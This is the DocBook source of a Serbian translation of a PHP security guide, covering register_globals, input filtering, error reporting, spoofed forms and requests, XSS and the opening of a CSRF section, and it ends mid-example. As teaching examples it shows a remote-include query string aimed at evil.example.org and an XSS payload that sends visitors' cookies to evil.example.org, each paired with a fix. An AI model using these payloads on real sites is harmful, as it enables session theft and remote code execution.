<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE book SYSTEM "../dblite/dblite_htmlents.dtd">

<book id="PHPSEC-WORKBOOK">
<title>Vodič za PHP bezbednost (PHP Security Guide)</title>

<chapter id="OVERVIEW">
<title>Pregled</title>

<sect1 id="WHAT-IS-SECURITY">
<title>Šta je bezbednost?</title>
<itemizedlist>
    <listitem>
        <para>Bezbednost je mera, ne karakteristika.</para>
        <para>Nesreća je što mnogi softverski projekti smatraju bezbednost jednim 
        jednodstavnim zahtevom kome treba izaći u susret. Da li je bezbedno? Ovo pitanje je 
        subjektivno kao kada se pita da li je nešto vruće.</para>
    </listitem>
    <listitem>
        <para>Bezbednost mora biti usklađena sa troškovima.</para>
        <para>Jednostavno je i relativno jeftino omogućiti dovoljan 
        nivo bezbednosti za većinu aplikacija. Međutim, ako su vam potrebe za bezbednošću
        veoma visoke, iz razloga što štitite informacije koje su veoma značajne,
        onda morate obezbediti veći nivo bezbednosti po većoj ceni.
        Ovi troškovi moraju biti uključeni u budžet projekta.</para>
    </listitem>
    <listitem>
        <para>Bezbednost mora biti usklađena sa upotrebljivošću.</para>
        <para>Nije neuobičajeno da koraci preuzeti u svrhu povećanja bezbednosti
        web aplikacije u isto vreme umanjuju njenu upotrebljivost. Šifre, vremenski isteci
        sesija, i kontrole pristupa kreiraju prepreke za regularnog korisnika.
        Nekad su ovi postupci neophodni da bi se omogućila adekvatna bezbednost, ali
        nema jednog rešenja koje je adekvatno za sve aplikacije. Mudro je
        misliti na vaše regularne korisnike kada uvodite bezbednosne mere.</para>
    </listitem>
    <listitem>
        <para>Bezbednost mora biti deo dizajna.</para>
        <para>Ako ne dizajnirate vašu aplikaciju razmišljajući o bezbednosti, vi
        ste osuđeni da redovno reagujete na nove bezbednosne propuste.
        Pažljivo programiranje ne može da nadoknadi loš dizajn.</para>
    </listitem>
</itemizedlist>
</sect1>

<sect1 id="BASIC-STEPS">
<title>Osnovni koraci</title>
<itemizedlist>
    <listitem>
        <para>Razmatrajte neregularna korišćenja vaše aplikacije.</para>
        <para>Siguran dizajn je samo deo rešenja. Tokom
        razvoja, kada se piše kod, važno je razmatrati neregularne 
        upotrebe vaše aplikacije. Često, žiža je na pravljenju aplikacije da
        radi kako je zamišljeno, i, dok je ovo neophodno da bi se napravila
        aplikacija koja pravilno funkcioniše, ne čini ništa da bi se aplikacija
		napravila bezbednom.</para>
    </listitem>
    <listitem>
        <para>Obrazujte sebe.</para>
        <para>Činjenica da ste ovde je dokaz da vam je stalo do
        bezbednosti, i, iako to može da zvuči banalno, to je najvažniji
        korak. Postoje mnogi izvori dostupni na internetu i u štampanom obliku,
        i nekoliko njih je izlistano u našoj Biblioteci (PHP Security Consortium's
        Library) na
        <systemitem role="url">http://phpsec.org/library/</systemitem>.</para>
    </listitem>
    <listitem>
        <para>Ako ništa drugo, FILTRIRAJTE SPOLJNE PODATKE.</para>
        <para>Filtriranje podataka je kamen temeljac bezbednosti internet aplikacija u
        bilo kom jeziku i na bilo kojoj platformi. Inicijalizacijom promenljivih i
        fitriranjem svih podataka koji dolaze iz spoljnog izvora, rešićete
        većinu bezbednosnih propusta sa veoma malo truda.
        Pristup "bele liste" je bolji od pristupa "crne liste". Ovo
        znači da treba da tretirate sve spoljne podatke neispravnim dok se
        ne pokažu ispravnim (bolje nego da tretirate sve podatke ispravnim dok se 
		ne pokažu neispravnim).</para>
    </listitem>
</itemizedlist>
</sect1>

<sect1 id="REGISTER-GLOBALS">
<title>Registracija globalnih promenljivih</title>
<para>Direktiva <literal>register_globals</literal> je podrazumevano isključena
u PHP verziji 4.2.0 i novijim. Iako ne predstavlja bezbednosni propust,
ipak je bezbednosni rizik. Zato, uvek treba da razvijate i postavljate
aplikacije sa isključenim <literal>register_globals</literal>.</para>
<para>Zašto je to bezbednosni rizik? Dobar primer je teško dati
svima, zato što često zahteva posebnu situaciju da se jasno prikaže rizik.
Međutim, najčešći primer je onaj koji se nalazi u PHP priručniku:</para>
<programlisting>
<![CDATA[<?php 

if (authenticated_user()) 
{ 
    $authorized = true; 
} 

if ($authorized) 
{ 
    include '/highly/sensitive/data.php'; 
} 

?>]]>
</programlisting>
<para>Sa uključenim <literal>register_globals</literal>, ova stranica može biti
zahtevana sa <literal>?authorized=1</literal> u stringu upita da bi se zaobišla
nameravana kontrola pristupa. Naravno, ovaj navedeni propust je
greška programera, ne <literal>register_globals</literal>, ali objašnjava
povećan rizik izazvan direktivom. Bez nje, obične 
globalne promenljive (poput <literal>$authorized</literal> u primeru) ne
bi bile ugrožene podacima unetim od strane klijenta. Najbolja praksa je inicijalizacija
svih varijabli i programiranje sa <literal>error_reporting</literal> podešenim na
<literal>E_ALL</literal>, tako da korišćenje neinicijalizovane promenljive ne bi
bilo previđeno tokom razvoja.</para>
<para>Sledeći primer ilustruje kako <literal>register_globals</literal>
mogu biti problematične u sledećoj upotrebi <literal>include</literal> sa dinamičkom putanjom:</para>
<programlisting>
<![CDATA[<?php

include "$path/script.php";

?>]]>
</programlisting>
<para>Sa uključenim <literal>register_globals</literal>, ova stranica može biti
zahtevana sa <literal>?path=http%3A%2F%2Fevil.example.org%2F%3F</literal> u stringu upita da bi se 
postigao sledeći rezultat:</para>
<programlisting>
<![CDATA[<?php

include 'http://evil.example.org/?/script.php';

?>]]>
</programlisting>
<para>Ako je uključena <literal>allow_url_fopen</literal> (a jeste u podrazumevanim podešavanjima,
čak i u <literal>php.ini-recommended</literal>), ovo će priključiti <literal>http://evil.example.org/</literal> 
kao da je u pitanju lokalni fajl.
Ovo je veliki bezbednosni propust, i takav je bio pronađen
u nekim popularnim open source aplikacijama.</para>
<para>Inicijalizacija promenljive <literal>$path</literal> može da umanji ovaj navedeni rizik,
ali to može takođe i isključivanje <literal>register_globals</literal>. Budući da greška
programera može voditi ka neinicijalizovanoj promenljivoj, isključivanje
<literal>register_globals</literal> je globalna promena konfiguracije
koja mnogo ređe može biti previđena.</para>
<para>Ugodnost je lepa, i oni među nama koji su trebali da ručno rukuju podacima
iz formulara u prošlosti je cene. Međutim, korišćenje
<literal>$_POST</literal> i <literal>$_GET</literal> superglobalnih nizova je i dalje
veoma ugodno, i nije vredan dodatni rizik uključivanja
<literal>register_globals</literal>. Iako se uopšte ne slažem sa
ocenama koje izjednačuju <literal>register_globals</literal> sa slabom sigurnošću, preporučujem da se isključe.</para>
<para>Dodatno, isključivanje
<literal>register_globals</literal> tera programere da brinu o poreklu podataka,
a ovo je bitna karakteristika bilo kog
programera koji brine o bezbednosti.</para>
</sect1>

<sect1 id="DATA-FILTERING">
<title>Filtriranje podataka</title>
<para>Kao što je rečeno ranije, filtriranje podataka je kamen temeljac 
bezbednosti web aplikacija, i to je nezavisno od programskog jezika ili
platforme. U sebi sadrži mehanizme pomoću kojih se proverava ispravnost
podataka koji ulaze i izlaze iz aplikacije, i dobar dizajn softvera
može pomoći programerima da:</para>
<itemizedlist>
    <listitem>
        <para>Osiguraju da filtriranje ne može biti zaobiđeno,</para>
    </listitem>
    <listitem>
        <para>Osiguraju da neispravni podaci ne mogu biti prihvaćeni kao ispravni,
        i</para>
    </listitem>
    <listitem>
        <para>Identifikuju poreklo podataka.</para>
    </listitem>
</itemizedlist>
<para>Mišljenja o tome kako da se osigura da filtriranje podataka ne može biti zaobiđeno
se razlikuju, ali postoje dva osnovna pristupa koji su najčešći,
i oba daju dovoljan nivo sigurnosti.</para>
<sect2 id="THE-DISPATCH-METHOD">
<title>Metoda pošiljke (The Dispatch Method)</title>
<para>Jedan metod je da postoji jedan jedini PHP skript dostupan direktno sa 
interneta (preko URL - a). Sve ostalo su moduli, koji se priključuju pomoću
<literal>include</literal> ili <literal>require</literal> naredbi po potrebi. Ovaj
metod obično zahteva da <literal>GET</literal> promenljiva bude prosleđena preko
svakog URL - a, identifikujući zadatak. Ova <literal>GET</literal> promenljiva
se može smatrati zamenom za ime skripta koji bi bio korišćen u dosta 
jednostavnijem dizajnu. Na primer:</para>
<programlisting>
<![CDATA[http://example.org/dispatch.php?task=print_form]]>
</programlisting>
<para>Fajl <literal>dispatch.php</literal> je jedini fajl u korenu
dokumenta. Ovo omogućava programeru da uradi dve važne stvari:</para>
<itemizedlist>
    <listitem>
        <para>Primeni opšte mere zaštite na vrhu 
        <literal>dispatch.php</literal> i da osigura da se ove mere
        ne mogu zaobići.</para>
    </listitem>
    <listitem>
        <para>Lako vidi da se filtriranje podataka primenjuje kada je potrebno,
        fokusiranjem na kontrolu toka posebnog zadatka.</para>
    </listitem>
</itemizedlist>
<para>Da dodatno objasnimo ovo, razmotrite sledeći primer
<literal>dispatch.php</literal> skripta:</para>
<programlisting>
<![CDATA[<?php

/* Global security measures */

switch ($_GET['task'])
{
    case 'print_form':
        include '/inc/presentation/form.inc';
        break;

    case 'process_form':
        $form_valid = false;
        include '/inc/logic/process.inc';
        if ($form_valid)
        {
            include '/inc/presentation/end.inc';
        }
        else
        {
            include '/inc/presentation/form.inc';
        }
        break;

    default:
        include '/inc/presentation/index.inc';
        break;
}

?>]]>
</programlisting>
<para>Kada bi ovo bio jedini javni PHP skript, onda bili trebalo da bude jasno
da dizajn ove aplikacije osigurava da bilo koje opšte bezbednosne mere preduzete na
vrhu ne mogu biti zaobiđene. Takođe, omogućava da programer lako vidi kontrolu
toka za specifični zadatak. Na primer, umesto da gleda velike količine koda,
lako je videti da je <literal>end.inc</literal> jedini prikazan korisniku
kada je <literal>$form_valid</literal> postavnljen na <literal>true</literal>, i pošto je
inicijalizovana kao <literal>false</literal> neposredno pre nego što je
<literal>process.inc</literal> priključen, jasno je da logika unutar
<literal>process.inc</literal> mora videti da je postavljen na <literal>true</literal>,
u suprotnom, formular je ponovo prikazan (sa pretpostavljenom prikladnom
porukom o grešci).</para>
<note><para>Ako koristite indeks fajl direktorijuma poput
<literal>index.php</literal> (umesto <literal>dispatch.php</literal>), možete
koristiti URL - ove kao 
<literal>http://example.org/?task=print_form</literal>.</para>
<para>Takođe, možete koristiti Apache <literal>ForceType</literal> direktivu ili
<literal>mod_rewrite</literal> da prilagodite URL - ove poput
<literal>http://example.org/app/print-form</literal>.</para></note>
</sect2>
<sect2 id="THE-INCLUDE-METHOD">
<title>Metod priključenja (The Include Method)</title>
<para>Drugi metod je da imate jedan modul koji je odgovoran za sve
bezbednosne mere. Ovaj modul je priključen na vrhu (ili veoma blizu vrhu)
svih PHP skripti koji su javni (dostupni preko URL - a). Razmotrite sledeći 
<literal>security.inc</literal> skript:</para>
<programlisting>
<![CDATA[<?php

switch ($_POST['form'])
{
    case 'login':
        $allowed = array();
        $allowed[] = 'form';
        $allowed[] = 'username';
        $allowed[] = 'password';

        $sent = array_keys($_POST);

        if ($allowed == $sent)
        {
            include '/inc/logic/process.inc';
        }

        break;
}

?>]]>
</programlisting>
<para>U ovom primeru, za svaki formular koji je prosleđen je očekivano da ima
promenljivu po imenu <literal>form</literal> koja ga jedinstveno identifikuje, i
<literal>security.inc</literal> ima odvojene slučajeve da rukuje filtriranjem
podataka za svaki posebni formular. Primer HTML formulara koji odgovara
ovim zahtevima je kao što sledi:</para>
<programlisting>
<![CDATA[<form action="/receive.php" method="POST">
<input type="hidden" name="form" value="login" />
<p>Username:
<input type="text" name="username" /></p>
<p>Password:
<input type="password" name="password" /></p>
<input type="submit" />
</form>]]>
</programlisting>
<para>Niz po imenu <literal>$allowed</literal> je korišćen da bi se identifikovalo
tačno koja promenljiva form je dozvoljena, i ova lista mora biti identična da bi se
formular uopšte obrađivao. Kontrola toka je određena na drugom mestu, i
<literal>process.inc</literal> je mesto gde se konkretno filtriranje podataka
događa.</para>
<note><para>Dobar način da osiguramo da je <literal>security.inc</literal> 
uvek priključena na vrhu svakog PHP skripta je da koristimo
<literal>auto_prepend_file</literal> direktivu.</para></note>
</sect2>
<sect2 id="FILTERING-EXAMPLES">
<title>Primeri filtriranja</title>
<para>Važno je imati pristup "bele liste" prilikom filtriranja podataka, i
iako je nemoguće dati primer za svaki tip podataka koje možete
susresti, nekoliko primera mogu pomoći da ilustrujemo razuman pristup.</para>
<para>Sledeće proverava email adresu:</para>
<programlisting>
<![CDATA[<?php

$clean = array();

$email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';

if (preg_match($email_pattern, $_POST['email'])) 
{ 
    $clean['email'] = $_POST['email']; 
}

?>]]>
</programlisting>
<para>Sledeće garantuje da je <literal>$_POST['color']</literal>
<literal>red</literal>, <literal>green</literal>, ili
<literal>blue</literal>:</para>
<programlisting>
<![CDATA[<?php

$clean = array();

switch ($_POST['color'])
{
    case 'red':
    case 'green':
    case 'blue':
        $clean['color'] = $_POST['color'];
        break;
}

?>]]>
</programlisting>
<para>Sledeći primer garantuje da je <literal>$_POST['num']</literal> 
integer (ceo broj):</para>
<programlisting>
<![CDATA[<?php

$clean = array();

if ($_POST['num'] == strval(intval($_POST['num'])))
{
    $clean['num'] = $_POST['num'];
}

?>]]>
</programlisting>
<para>Sledeći primer osigurava da je <literal>$_POST['num']</literal> 
broj sa pokretnim zarezom:</para>
<programlisting>
<![CDATA[<?php

$clean = array();

if ($_POST['num'] == strval(floatval($_POST['num'])))
{
    $clean['num'] = $_POST['num'];
}

?>]]>
</programlisting>
</sect2>
<sect2 id="NAMING-CONVENTIONS">
<title>Pravila davanja imena</title>
<para>Svaki od navedenih primera koristi niz po imenu
<literal>$clean</literal>. Ovo ilustruje dobru praksu koja može pomoći
programerima da identifikuju da li je podatak potencijalno štetan. Nikad ne bi trebalo da
praktikujete da proverite podatke i ostavite ih u <literal>$_POST</literal> ili
<literal>$_GET</literal>, zato što je bitno za programere da uvek budu
sumnjičavi o podacima iz ovih superglobal nizova.</para>
<para>Dodatno, mnogo slobodnija primena <literal>$clean</literal> može omogućiti
da se da se sve ostavlo smatra štetnim, i ovo bliže podseća na
pristup "bele liste" i zato omogućava povišeni stepen
bezbednosti.</para>
<para>Ako smeštate podatke u <literal>$clean</literal> samo nakon što su provereni,
jedini rizik u propustu da proverite nešto je da možete da
se pozovete na element niza koji ne postoji, nego na potencijalno štetan podatak.</para>
</sect2>
<sect2 id="TIMING">
<title>Pravovremenost</title>
<para>Kada počne procesuiranje PHP skripta, kompletan HTTP zahtev je
bio primljen. Ovo znači da je korisnik nema drugu priliku da pošalje
podatke, i zbog toga nikakvi podaci ne mogu biti ubačeni u vaš skript (čak i ako su
<literal>register_globals</literal> uključene). Zbog toga je inicijalizacija vaših 
promenljivih tako dobra praksa.</para>
</sect2>
</sect1>

<sect1 id="ERROR-REPORTING">
<title>Izveštavanje o greškama</title>
<para>U verzijama PHP pre PHP 5, koja je puštena 13. jula 2004, izveštavanje o greškama je 
dosta jednostavno. Pored pažljivog programiranja, oslanja se uglavnom na
nekoliko specifičnih PHP konfiguracionih direktiva:</para>
<itemizedlist>
    <listitem>
        <para><literal>error_reporting</literal></para>
        <para>Ova direktiva podešava nivo izveštavanja o greškama na željeni nivo.
        Preporučuje se da se ono podesi na <literal>E_ALL</literal> i za 
        razvoj i za produkciju.</para>
    </listitem>
    <listitem>
        <para><literal>display_errors</literal></para>
        <para>Ova direktiva određuje da li će greške biti prikazane na
        ekranu (uključene u izlaz). Uvek bi trebali da razvijate sa ovim podešenim na
        <literal>On</literal>, tako da bi ste mogli da budete obavešteni na greške tokom
        razvoja, i trebalo bi da je podesite na <literal>Off</literal> za 
        produkciju, tako da se greške sakriju id korisnika (i potencijalnih
        napadača).</para>
    </listitem>
    <listitem>
        <para><literal>log_errors</literal></para>
        <para>Ova direktiva određuje da li bi greške trebalo da budu zapisane u dnevnik
		grešaka. Iako ovo može da potegne pitanje performansi, poželjno je da su
        greške retke. Ako popisivanje greški predstavlja napor za disk zbog
        veličine I/O saobraćaja, verovatno imate veće brige od
        performansi vaše aplikacije. Trebalo bi da je podešeno na
        <literal>On</literal> u produkcionim uslovima.</para>
    </listitem>
    <listitem>
        <para><literal>error_log</literal></para>
        <para>Ova direktiva upućuje na lokaciju fajla dnevnika u kome se
        upisuju greške. Pobrinite se da web server ima privilegija za pisanje
        za navedeni fajl.</para>
    </listitem>
</itemizedlist>
<para><literal>error_reporting</literal> podešeno na
<literal>E_ALL</literal> pomaže da se sprovede inicijalizacija promenljivih,
iz razloga što pozivanje na nedefinisanu promenljivu generiše upozorenje.</para>
<note><para>Svaka od ovih direktiva može biti podešena uz pomoć
<literal>ini_set()</literal>, u slučaju da nemate pristup 
<literal>php.ini</literal> fajlu ili drugim metodama za podešavanje ovih
direktiva.</para>
<para>Dobra napomena o svih funkcijama koje se bave rukovanjem i obaveštavanjem o greškama je u
PHP priručniku:</para>
<para><systemitem role="url">http://www.php.net/manual/en/ref.errorfunc.php</systemitem></para>
<para>PHP 5 uvodi rukovanje izuzecima. Za dodatne informacije, pogledajte:</para>
<para><systemitem role="url">http://www.php.net/manual/language.exceptions.php</systemitem></para></note>
</sect1>
</chapter>

<chapter id="FORM-PROCESSING">
<title>Procesuiranje formulara</title>

<sect1 id="SPOOFED-FORM-SUBMISSIONS">
<title>Podnošenje obmanjivačkog formulara (Spoofed Form Submissions)</title>
<para>Da bi se cenila neophodnost filtriranja podataka, razmotrite
sledeći formular, koji se nalazi (hipotetički) na
<literal>http://example.org/form.html</literal>:</para>
<programlisting>
<![CDATA[<form action="/process.php" method="POST">
<select name="color">
    <option value="red">red</option>
    <option value="green">green</option>
    <option value="blue">blue</option>
</select>
<input type="submit" />
</form>]]>
</programlisting>
<para>Zamislite potencijalnog napadača koji snimi ovaj HTML i modifikuje ga kao
što sledi:</para>
<programlisting>
<![CDATA[<form action="http://example.org/process.php" method="POST">
<input type="text" name="color" />
<input type="submit" />
</form>]]>
</programlisting>
<para>Ovaj novi formular može biti lociran bilo gde (web server nije uopšte
neophodan, budući da treba samo da je čitljiv preko web čitača), i formular može 
da se manipiliše po želji. Apsolutni URL koji je korišćen u action atributu
omogućava da <literal>POST</literal> zahtev bude poslat na isto
mesto.</para>
<para>Ovo čini veoma lakim eliminisanje bilo kakvih restrikcija sa klijentske strane,
bilo da su restrikcije u HTML formularu ili skripta sa klijentske strane namenjene da izvedu neko
osnovno filtriranje podataka. U navedenom primeru,
<literal>$_POST['color']</literal> ne mora neophodno da bude <literal>red</literal>,
<literal>green</literal>, ili <literal>blue</literal>. Veoma lakim
postupkom, bilo koji korisnik može da kreira pogodni formular koja može biti iskorišćena za podnošenje
bilo kog podatka URL - u koji obrađuje formular.</para>
</sect1>

<sect1 id="SPOOFED-HTTP-REQUESTS">
<title>Obmanjivački HTTP zahtev (Spoofed HTTP Request)</title>
<para>Moćniji, mada manje pogodan način pristup je obmanuti HTTP
zahtev. I primeru koji smo upravo objašnjavali, gde korisnik bira boju,
rezultujući HTTP zahtev izgleda kao što sledi (predpostavljajući da je izbor
<literal>red</literal>):</para>
<programlisting>
<![CDATA[POST /process.php HTTP/1.1
Host: example.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

color=red]]>
</programlisting>
<para>Program <literal>telnet</literal> može biti iskorišćen da se obave neka ad hoc
testiranja. Sledeći primer daje jednostavan <literal>GET</literal> zahtev
za <literal>http://www.php.net/</literal>:</para>
<programlisting>
<![CDATA[$ telnet www.php.net 80
Trying 64.246.30.37...
Connected to rs1.php.net.
Escape character is '^]'.
GET / HTTP/1.1
Host: www.php.net

HTTP/1.1 200 OK
Date: Wed, 21 May 2004 12:34:56 GMT
Server: Apache/1.3.26 (Unix) mod_gzip/1.3.26.1a PHP/4.3.3-dev
X-Powered-By: PHP/4.3.3-dev
Last-Modified: Wed, 21 May 2004 12:34:56 GMT
Content-language: en
Set-Cookie: COUNTRY=USA%2C12.34.56.78; expires=Wed,28-May-04 12:34:56 GMT; path=/; domain=.php.net
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html;charset=ISO-8859-1

2083
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01Transitional//EN">
...]]>
</programlisting>
<para>Naravno, možete napisati svoj sopstveni klijent umesto da svojeručno unosite
zahteve preko <literal>telnet</literal> - a. Sledeći primer pokazuje kako da 
se postavi isti zahtev koristeći PHP:</para>
<programlisting>
<![CDATA[<?php

$http_response = '';

$fp = fsockopen('www.php.net', 80);
fputs($fp, "GET / HTTP/1.1\r\n");
fputs($fp, "Host: www.php.net\r\n\r\n");

while (!feof($fp))
{
    $http_response .= fgets($fp, 128);
}

fclose($fp);

echo nl2br(htmlentities($http_response));

?>]]>
</programlisting>
<para>Slanje svojih sopstvenih HTTP zahteva daje vam kompletnu fleksibilnost, i ovo
demonstrira zašto je filtriranje podataka na serveskoj strani toliko neophodnodo. Bez njega,
nemate nikakvu garanciju o bilo kojim podacima koja dolaze iz bilo kog spoljnjeg
izvora.</para>
</sect1>

<sect1 id="CROSS-SITE-SCRIPTING">
<title>Cross-Site skriptovanje (Cross-Site Scripting)</title>
<para>Mediji su pomogli da cross-site skriptovanje (XSS) postane poznat termin,
i pažnja je zaslužena. U pitanju je jedan od najčešćih sigurnosnih
propusta u web aplikacijama, i mnoge popularne open source PHP
aplikacije pate od konstantih XSS propusta.</para>
<para>XSS napadi imaju sledeće karakteristike:</para>
<itemizedlist>
    <listitem>
        <para>Zloupotreba poverenja koje korisnik ima ka određenom sajtu.</para>
        <para>Korisnik ne mora da ima visok nivo poverenja ka bilo kom web
        sajtu, ali web čitač ima. Na primer, kada web čitač pošalje
        cookie-je u zahtevu, on veruje web sajtu. Korisnik, takođe, može imati
        različite navike prilikom pretraživanja ili čak različite nivoe bezbednosnih podešavanja definisane
        u svojim web čitačima u zavisnosti od sajta koji posećuju.</para>
    </listitem>
    <listitem>
        <para>U osnovi uključuju web sajtove koji prikazuju spoljne podatke.</para>
        <para>Aplikacije sa povišenim rizikom uključuju forume, web mejl
        klijente, i bilo šta što prikazuje uređeni sadržaj (poput RSS unosa).</para>
    </listitem>
    <listitem>
        <para>Ubacivanje sadržaja po izboru napadača.</para>
        <para>Kada spoljni sadržaj nija pravilno filtriran, može se desiti da prikažete
        sadržaj po napadačevom izboru. Ovo je isto toliko opasno kao i
        dopustiti napadaču da obrađuje vaš izvorni kod na serveru.</para>
    </listitem>
</itemizedlist>
<para>Kako se ovo može dogoditi? Ako prikazujete sadržaj koji dolazi iz bilo kog spoljašnjeg izvora
bez da ga pravilno profiltrirate, podložni ste XSS napadu. Spoljni podaci
nisu limitirani na podatke koji dolaze od klijenta. Ovo takođe podrazumeva e-mail
prikazan u web mejl klijentu, baner reklamu, uređeni blog, i
slično. Svaka informacija koja nije već u kodu dolazi iz
spoljnjeg izvora, i ovo uopšte znači da je većina podataka spoljašnjeg
karaktera.</para>
<para>Razmotrite sledeći pojednostavljeni primer sistema za ostavljanje poruka:</para>
<programlisting>
<![CDATA[<form>
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

if (isset($_GET['message']))
{
    $fp = fopen('./messages.txt', 'a');
    fwrite($fp, "{$_GET['message']}<br />");
    fclose($fp);
}

readfile('./messages.txt');

?>]]>
</programlisting>
<para>Ovaj sistem dodaje <literal>&lt;br /&gt;</literal> bilo čemu što
korisnik unese, zatim to doda fajlu, i onda prikaže trenutni sadržaj
fajla.</para>
<para>Zamislite da korisnik unese sledeću poruku:</para>
<programlisting>
<![CDATA[<script>
document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie
</script>]]>
</programlisting>
<para>Sledeći korisnik koji poseti sistem sa čitačom u kome je omogućen JavaScript
biva preusmeren na <literal>evil.example.org</literal>, i bilo koji Cookie-ji asocirani
sa trenutnim sajtom su uključeni u string upita URL-a.</para>
<para>Naravno, pravi napadač ne bi bio ograničen na moj nedostatak kreativnosti
ili ekspertize u JavaScript-u. Budite slobodni i predložite bolje (malicioznije?)
primere.</para>
<para>Šta činiti? Od XSS napada je zapravo jednostavno odbraniti se. Stvari se
komplikuju kada želite da dotvolite neki HTML ili klijentske
skripte da budu obezbeđene od spoljnih izvora (kao drugih korisnika) i
prikazane na kraju, ali čak ni ove situacije nisu tako teške za
kontrolu. Sledeći postupci mogu umanjiti rizik od XSS napada:</para>
<itemizedlist>
    <listitem>
        <para>Filtrirajte sve spoljne podatke.</para>
        <para>Kao što je napomenuto ranije, filtriranje podatakaje najvažniji
        postupak koji možete usvojiti. Proverom svih spoljašnjih podataka koji ulaze i
        izlaze iz vaše aplikacije, umanjujete većinu XSS
        rizika.</para>
    </listitem>
    <listitem>
        <para>Koristite postojeće funkcije.</para>
        <para>Pustite PHP da pomogne u vašoj logici filtriranja. Funkcije poput
        <literal>htmlentities()</literal>, <literal>strip_tags()</literal>,
        i <literal>utf8_decode()</literal> mogu biti korisne. Pokušajte da izbegnete
        reprodukciju nečega što PHP funkcija već radi. Ne samo da su
        PHP funkcije mnogo brže, već su i mnogo testiranije i manje
        verovatno sadrže greške koje uzrokuju ranjivosti.</para>
    </listitem>
    <listitem>
        <para>Koristite pristup bele liste.</para>
        <para>Pretpostavite da su podaci loši dok se ne pokažu ispravnim. Ovo
        podrazumeva proveravanje dužine i obezbeđivanje da su samo ispravni
        karakteri dozvoljeni. Na primer, ako korisnik podnosi svoje prezime,
        možete početi tako što ćete dozvoliti samo karaktere alfabeta i
        prazna mesta. Greška iz opreznosti. Dok će imena
        <literal>O'Reilly</literal> i <literal>Berners-Lee</literal> biti smatrana
        neipravnim, ovo je lako popraviti dodavanjem još dva karaktera
        beloj listi. Bolje je odbiti ispravan podatak nego prihvatiti 
        zlonamerne podatke.</para>
    </listitem>
    <listitem>
        <para>Koristite striktna pravila davanja imena.</para>
        <para>Kao što je ranije napomenuto, pravila davanja imena mogu pomoću programerima
        da jednostavno razlikuju filtrirane i nefiltrirane podatke. Važno je
        učiniti ove stvari koliko god je moguće jednostavnijima za programere.
        Nedostatak jasnoće uzrokuje konfuziju, a ona rađa
        ranjivosti.</para>
    </listitem>
</itemizedlist>
<para>Mnogo bezbednija verzija prethodno prikazanog sistema za ostavljanje poruka je
kao što sledi:</para>
<programlisting>
<![CDATA[<form>
<input type="text" name="message"><br />
<input type="submit">
</form>

<?php

if (isset($_GET['message']))
{
    $message = htmlentities($_GET['message']);

    $fp = fopen('./messages.txt', 'a');
    fwrite($fp, "$message<br />");
    fclose($fp);
}

readfile('./messages.txt');

?>]]>
</programlisting>
<para>Prostim dodavanjem <literal>htmlentities()</literal>, 
sistem za ostavljanje poruka je sada mnogo bezbedniji. Ne sme biti smatran potpuno
bezbednim, ali ovo je verovatno najjednostavniji korak koji možete preduzeti da obezbedite
dovoljan nivo zaštite. Naravno, jako se preporučuje da ispratite
sve preporuke o kojima smo pričali.</para>
</sect1>

<sect1 id="CROSS-SITE-REQUEST-FORGERIES">
<title>Cross-Site falsifikovanja zahteva (Cross-Site request forgeries)</title>

<para>Uprkos sličnosti u imenu, cross-site falsifikovanja zahteva (CSRF)
su skoro potpuno suprotni stil napada. Dok XSS napadi koriste poverenje
koje korisnik ima u web sajt, CSRF napadi zloupotrebljavaju poverenje koje web sajt ima u
korisnika. CSRF napadi su mnogo opasniji, nepopularniji (što znači manje
resursa za programera), i mnogo teži za odbranu od XSS
napada.</para>
<para>CSRF napadi ima sledeće karakteristike:</para>
<itemizedlist>
    <listitem>
        <para>Zloupotreba poverenja koje sajt ima za određenog korisnika.</para>
        <para>Mnogim korisnicima se ne može verovati, ali je uobičajeno za web
        aplikacije da nude određene privilegije nakon prijavljivanja u
        aplikaciju. Korisnici sa ovim povišenim privilegijama su potencijalne
        žrtve (u stvari, nesvesni saučesnici).</para>
    </listitem>
    <listitem>
        <para>U osnovi uključuju web sajtove koji se oslanjaju na identitet
        korisnika. Tipično je da identitet korisnika nosi neku
        težinu. Sa mehanizmom bezbednog rukovanja sesijama, što je 
        izazov po sebi, CSRF napadi i dalje mogu biti uspešni. U suštini,
        ovakve sredine su gde su CSRF napadi posebno
        snažni.</para>
    </listitem>
    <listitem>
        <para>Izvršavanje HTTP zahteva po izboru napadača.</para>
        <para>CSRF napadi uključuju sve napade koji obuhvataju da napadač
        falsifikuje HTTP zahtev od drugog korisnika (u osnovi, varanje korisnika
        za slanje HTTP zahteva za napadača). Postoji
        nekoliko različitih tehnika koje mogu itit korišćene da bi se ovo postiglo, i ja
        ću prikazati neke primere jedne određene tehnike.</para>
    </listitem>
</itemizedlist>
<para>S obzirom da CSRF napadi uklučuju falsifikovanje HTTP zahteva, 
važno je prvo ostvariti osnovni nivo poznavanja HTTP.</para>
<para>Web čitač je HTTP klijent, i web server je HTTP server.
Klijenti iniciraju transakciju slanjem zahteva, a server kompletira
transakciju slanjem odgovora. Tipičan HTTP zahtev je kao što
sledi:</para>
<programlisting>
<![CDATA[GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*]]>
</programlisting>
<para>Prva linja se naziva linija zahteva, i sadrži metod zahteva,
URL zahteva (koristi se relativni URL), i verziju HTTP-a. Ostale 
linije su HTTP zaglavlja (header-i), i svako ime zaglavlja je praćeno zarezom, praznim mestom,
i vrednošću.</para>
<para>Možda ste upoznati sa pristupanjem ovim informacijama preko PHP-a. Na
primer, sledeći kod može biti korišćen za ponavljanje pomenutog HTTP
zahteva u stringu:</para>
<programlisting>
<![CDATA[<?php

$request = '';
$request .= "{$_SERVER['REQUEST_METHOD']} ";
$request .= "{$_SERVER['REQUEST_URI']} ";
$request .= "{$_SERVER['SERVER_PROTOCOL']}\r\n";
$request .= "Host: {$_SERVER['HTTP_HOST']}\r\n";
$request .= "User-Agent: {$_SERVER['HTTP_USER_AGENT']}\r\n";
$request .= "Accept: {$_SERVER['HTTP_ACCEPT']}\r\n\r\n";

?>]]>
</programlisting>
<para>Primer odgovora na prethodni zahtev bio bi:</para>
<programlisting>
<![CDATA[HTTP/1.1 200 OK
